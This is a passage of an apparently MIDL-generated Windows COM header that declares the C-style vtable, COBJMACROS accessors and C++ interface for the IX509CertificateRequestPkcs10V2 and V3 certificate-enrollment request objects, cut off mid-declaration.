__RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignatureInformation )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyContainerNamePrefix )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyContainerNamePrefix )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CryptAttributes )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICryptAttributes **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_X509Extensions )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CriticalExtensions )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressOids )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawDataToBeSigned )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Signature )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCspStatuses )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ X509KeySpec KeySpec,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppCspStatuses);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplate )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromPrivateKeyTemplate )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromPublicKeyTemplate )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PolicyServer )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentPolicyServer **ppPolicyServer);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Template )( \n            __RPC__in IX509CertificateRequestPkcs10V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppTemplate);\n        \n        END_INTERFACE\n    } IX509CertificateRequestPkcs10V2Vtbl;\n\n    interface IX509CertificateRequestPkcs10V2\n    {\n        CONST_VTBL struct IX509CertificateRequestPkcs10V2Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRequestPkcs10V2_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRequestPkcs10V2_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRequestPkcs10V2_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRequestPkcs10V2_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRequestPkcs10V2_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRequestPkcs10V2_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRequestPkcs10V2_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRequestPkcs10V2_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509CertificateRequestPkcs10V2_Encode(This)\t\\\n    ( (This)->lpVtbl -> Encode(This) ) \n\n#define IX509CertificateRequestPkcs10V2_ResetForEncode(This)\t\\\n    ( (This)->lpVtbl -> ResetForEncode(This) ) \n\n#define IX509CertificateRequestPkcs10V2_GetInnerRequest(This,Level,ppValue)\t\\\n    ( (This)->lpVtbl -> GetInnerRequest(This,Level,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V2_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V2_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V2_get_SuppressDefaults(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressDefaults(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_SuppressDefaults(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SuppressDefaults(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V2_get_RenewalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RenewalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_RenewalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_RenewalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestPkcs10V2_get_ClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClientId(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_ClientId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ClientId(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V2_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V2_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509CertificateRequestPkcs10V2_InitializeFromTemplateName(This,Context,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplateName(This,Context,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs10V2_InitializeFromPrivateKey(This,Context,pPrivateKey,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromPrivateKey(This,Context,pPrivateKey,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs10V2_InitializeFromPublicKey(This,Context,pPublicKey,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromPublicKey(This,Context,pPublicKey,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs10V2_InitializeFromCertificate(This,Context,strCertificate,Encoding,InheritOptions)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,Context,strCertificate,Encoding,InheritOptions) ) \n\n#define IX509CertificateRequestPkcs10V2_InitializeDecode(This,strEncodedData,Encoding)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,strEncodedData,Encoding) ) \n\n#define IX509CertificateRequestPkcs10V2_CheckSignature(This,AllowedSignatureTypes)\t\\\n    ( (This)->lpVtbl -> CheckSignature(This,AllowedSignatureTypes) ) \n\n#define IX509CertificateRequestPkcs10V2_IsSmartCard(This,pValue)\t\\\n    ( (This)->lpVtbl -> IsSmartCard(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_TemplateObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_TemplateObjectId(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_PublicKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PublicKey(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_PrivateKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PrivateKey(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_NullSigned(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NullSigned(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_ReuseKey(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ReuseKey(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_OldCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_OldCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_Subject(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Subject(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_Subject(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_Subject(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_CspStatuses(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspStatuses(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_SmimeCapabilities(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SmimeCapabilities(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_SmimeCapabilities(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SmimeCapabilities(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V2_get_SignatureInformation(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignatureInformation(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_KeyContainerNamePrefix(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyContainerNamePrefix(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_put_KeyContainerNamePrefix(This,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyContainerNamePrefix(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V2_get_CryptAttributes(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CryptAttributes(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_X509Extensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_X509Extensions(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_CriticalExtensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CriticalExtensions(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_SuppressOids(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressOids(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_RawDataToBeSigned(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawDataToBeSigned(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_get_Signature(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Signature(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10V2_GetCspStatuses(This,KeySpec,ppCspStatuses)\t\\\n    ( (This)->lpVtbl -> GetCspStatuses(This,KeySpec,ppCspStatuses) ) \n\n\n#define IX509CertificateRequestPkcs10V2_InitializeFromTemplate(This,context,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplate(This,context,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestPkcs10V2_InitializeFromPrivateKeyTemplate(This,Context,pPrivateKey,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromPrivateKeyTemplate(This,Context,pPrivateKey,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestPkcs10V2_InitializeFromPublicKeyTemplate(This,Context,pPublicKey,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromPublicKeyTemplate(This,Context,pPublicKey,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestPkcs10V2_get_PolicyServer(This,ppPolicyServer)\t\\\n    ( (This)->lpVtbl -> get_PolicyServer(This,ppPolicyServer) ) \n\n#define IX509CertificateRequestPkcs10V2_get_Template(This,ppTemplate)\t\\\n    ( (This)->lpVtbl -> get_Template(This,ppTemplate) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRequestPkcs10V2_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestPkcs10V3_INTERFACE_DEFINED__\n#define __IX509CertificateRequestPkcs10V3_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRequestPkcs10V3 */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRequestPkcs10V3;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"54EA9942-3D66-4530-B76E-7C9170D3EC52\")\n    IX509CertificateRequestPkcs10V3 : public IX509CertificateRequestPkcs10V2\n    {\n    public:\n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_AttestPrivateKey( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_AttestPrivateKey( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_AttestationEncryptionCertificate( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_AttestationEncryptionCertificate( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_EncryptionAlgorithm( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_EncryptionAlgorithm( \n            /* [in] */ __RPC__in_opt IObjectId *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_EncryptionStrength( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_EncryptionStrength( \n            /* [in] */ LONG Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ChallengePassword( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ChallengePassword( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_NameValuePairs( \n            /* [retval][out] */ __RPC__deref_out_opt IX509NameValuePairs **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRequestPkcs10V3Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRequestPkcs10V3 * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ResetForEncode )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetInnerRequest )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ InnerRequestLevel Level,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__out X509RequestType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClientId )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ClientId )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ RequestClientInfoClientId Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplateName )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromPrivateKey )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromPublicKey )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strCertificate,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [defaultvalue][in] */ X509RequestInheritOptions InheritOptions);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckSignature )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [defaultvalue][in] */ Pkcs10AllowedSignatureTypes AllowedSignatureTypes);\n        \n        HRESULT ( STDMETHODCALLTYPE *IsSmartCard )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TemplateObjectId )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PublicKey )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PublicKey **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PrivateKey )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PrivateKey **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NullSigned )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ReuseKey )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_OldCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Subject )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX500DistinguishedName **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Subject )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ __RPC__in_opt IX500DistinguishedName *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspStatuses )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SmimeCapabilities )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ 